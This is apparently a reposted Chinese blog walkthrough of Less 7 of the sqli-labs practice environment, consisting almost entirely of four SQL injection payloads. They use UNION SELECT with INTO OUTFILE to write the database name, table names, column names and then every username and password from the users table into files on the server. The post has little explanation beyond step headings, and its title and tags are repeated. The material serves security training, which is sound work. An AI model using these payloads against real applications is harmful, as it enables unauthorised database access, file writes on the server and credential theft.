sqli-labs less7 GET-Dump into outfile-string

标签：HERE   tmp   file   获取数据   ase   format   数据库名   column   png   

1、获取数据库名

id=-1‘)) union select 1,2,database() into outfile "E:/wampserver/wamp/tmp/1.txt"--+

 2、获取security中的表

id=-1‘)) union select  1,2 ,table_name from information_schema.tables where table_schema=‘security‘ into outfile "E:/wampserver/wamp/tmp/2.txt"--+

手动换行后

3、获取users中的字段

id=-1‘)) union select 1,2,column_name from information_schema.columns where table_name=‘users‘ and table_schema=‘security‘ into outfile "E:/wampserver/wamp/tmp/3.txt"--+

4、获取users表中的所有数据

id=-1‘)) union select id,username,password from users into outfile "E:/wampserver/wamp/tmp/4.txt"--+

sqli-labs less7 GET-Dump into outfile-string

标签：HERE   tmp   file   获取数据   ase   format   数据库名   column   png   

原文地址：https://www.cnblogs.com/jielun/p/10914968.html